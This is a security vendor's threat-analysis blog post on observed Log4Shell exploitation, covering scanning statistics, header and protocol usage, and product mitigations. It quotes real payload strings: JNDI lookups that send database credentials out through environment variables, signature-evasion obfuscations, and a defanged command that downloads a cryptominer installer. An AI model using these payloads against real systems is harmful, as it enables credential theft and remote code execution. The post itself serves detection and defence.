Log in the Shell: An Analysis of Log4Shell Exploitation

A zero-day vulnerability (CVE-2021-44228), publicly released on 9 December 2021 and known as Log4j or Log4Shell, is actively being targeted in the wild. CVE-2021-44228 has been assigned a the highest “Critical” severity rating with a maximum risk score of 10. A new CVE-2021-45046 has been released stating upgrading to Log4j version 2.15.0 is insufficient and is still vulnerable to Log4Shell.

The vulnerability impacts Apache Log4j versions 2.15.0 and below. Updating to Log4j version 2.16.0 now appears to be the only direct route to mitigate this vulnerability as it disables access to JNDI by default.

VMware’s Threat Analysis Unit has observed indicators of active exploitation attempts and will continue to monitor and evaluate adversary activities. This blog is intended to detail some of these observations.

Main Takeaways

• 90% of the observed security event is associated with scanning and not exploitation
• We observed attempts to disclose sensitive information, in addition to remote code exploitation
• The majority of the attacks target Linux systems
• The threats deployed during post-exploitation include cryptominers and bots

Analysis

The recently discovered vulnerability in Log4j is receiving an unprecedented amount of attention from researchers, cybercriminals and now the media.

The chart below shows the number of requests that matched VMware NSX Network Detection and Response (NDR)  detection signatures over time.

After an initial ramp of requests, the number of Log4j-related events declined, possibly because the scanning activity decreased.

Each suspicious request has two components: the source IP address or domain of the attack and the endpoint used in the callback that is triggered by the name resolution.

A cursory analysis of the source of these attacks shows that most of the attacks are either internal or come from Germany, the U.S., Russia, the Netherlands, and the UK.

This geolocation is not similar to what we usually observe when we look at cyberattacks because there is a substantial amount of testing traffic that pollutes the actual statistics.

To understand the distribution of tests vs. actual attacks, we clustered the detected events and examined the various clusters, finding a large number of references to call-back analysis tools, such as interact.sh (https://github.com/projectdiscovery/interactsh), Nessus, and Qualys. They appear to be performing scans to determine the vulnerability of specific applications rather than carrying out full exploitation attempts.

Our analysis shows that approximately 10 percent of the events are likely exploitation attempts, while 90 percent of the events are some form of scanning (which are likely benign, but it could also be a first attempt at mapping the security posture of a target).

We have analyzed the requests used to carry out the first step of the attack, namely the triggering of the name resolution.

The table below shows the most common request headers that contain an attack pattern that would resolve to a “jndi:<protocol>” string.

The user-agent field is by far the most used header field, followed by a list of other fields that are likely to be logged by the target application, therefore triggering the exploit.

Fields Containing Triggering Strings

The table below shows the protocol used in combination with JNDI to perform the attack. Unsurprisingly, the attacks mostly leverage LDAP, DNS, and RMI, but we have observed scanning tools that check for the presence of other possible name resolution protocols such as NIS and CORBA.

Protocols Used for Scanning and Exploitation

We also looked at clusters of similar requests and found some interesting patterns that are not focused on remote execution. These are instead attempting to extract useful information.

For example, we observed patterns that evaluate the installed Java version, such as:

“${jndi:ldap://<ipaddress>:<port>/${hostName}_${sys:java.version}}”, and patterns that attempt to extract sensitive information, such as:

“${jndi:ldap://<ipaddress>:<port>/str_${env:DB_HOST}_${env:DB_USERNAME}_${env:DB_PASSWORD}}”, which attempts to extract the environmental variables containing the credentials for a database.

Evasion has also increased with time: as signature are deployed by security vendors, both attackers and security researchers are finding ways to test their efficacy by attempting evasion.

We observed the use of empty environment variables that evaluate to empty strings, such as :“${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//<url>/a}”

or

“${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//<url>/w}”, and also the simple use of upper case and lower case combinations to confuse string matching:

“${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}:<url>}”, we even find example of misspelled protocols, which indicate manual activity or hasted development of scanning and attack tools (e.g., “${jdni:ldap://<url>/o=tomcat}”.

A common technique used in exploitation is the encoding of commands in Base64 form.

We extracted the observed strings and found the most common pattern is to contact a remote web server to download a bash script that is then executed.

We saw these exploitation attempts installing a number of threats, including Mirai, BillGates, Kinsing, and cryptominers, as, for example, in this string:

“apt update -y apt install curl wget -y curl -s -L hxxp://download[.]c3pool[.]com/xmrig_setup/raw/master/setup_c3pool_miner.sh”, which is used to install the XMrig cryptominer. Interestingly, this is similar to what is observed by other monitoring groups. For example, the Abuse.ch site lists a similar list of Linux and Windows-based threats.

How can VMware Security products help?

• Carbon Black Endpoint Standard, deployed on your endpoint and server infrastructure, is configured to detect vulnerable versions of the Log4j library. Flagging a vulnerable library alone is not cause for alarm. For this reason, Carbon Black will raise an Observed alert that will be escalated to a higher threat level if additional post-exploitation behaviors are observed. In that case, Endpoint Standard will take the appropriate action.
• Carbon Black Enterprise EDR threat intelligence feeds contain IOCs to alert on post-exploitation activity and will continue to be updated as more information is understood.
• NSX Distributed IDS/IPS and NSX Network Detection and Response (NDR) signatures have been released to detect Log4J exploit attempts, including obfuscation methods seen in the wild. These signatures will detect and prevent attempts to exploit vulnerabilities regardless of origination.
• It may be necessary to consider segmentation or micro segmentation of your assets to reduce the chances of post exploitation and lateral movement. NSX Distributed Firewall combined with NSX Intelligence’s automated policy formulation can help reduce the attack surface by making sure that only the right application components are communicating within the network.
• NSX’s network traffic analytics (NTA) has the capability to identify anomalies associated with post exploitation activity like unusual connections, connection between a compromised server and the external C&C endpoint and reverse shells.
• NSX Advanced Load Balancer (Avi) can help protect from Log4Shell exploit attempts using the NSX Advanced Load Balancer Web Application Firewall to block known malicious IPs via IP Reputation. Steps to enable protection are found in the following Avi WAF and CVE-2021-44228 Apache Log4j (87100) knowledge base article.

Remain Up-to-date on Log4Shell VMware News

To remain up-to-date on all mitigations and workarounds related to VMware refer to Security Advisories. VMware Security Advisories.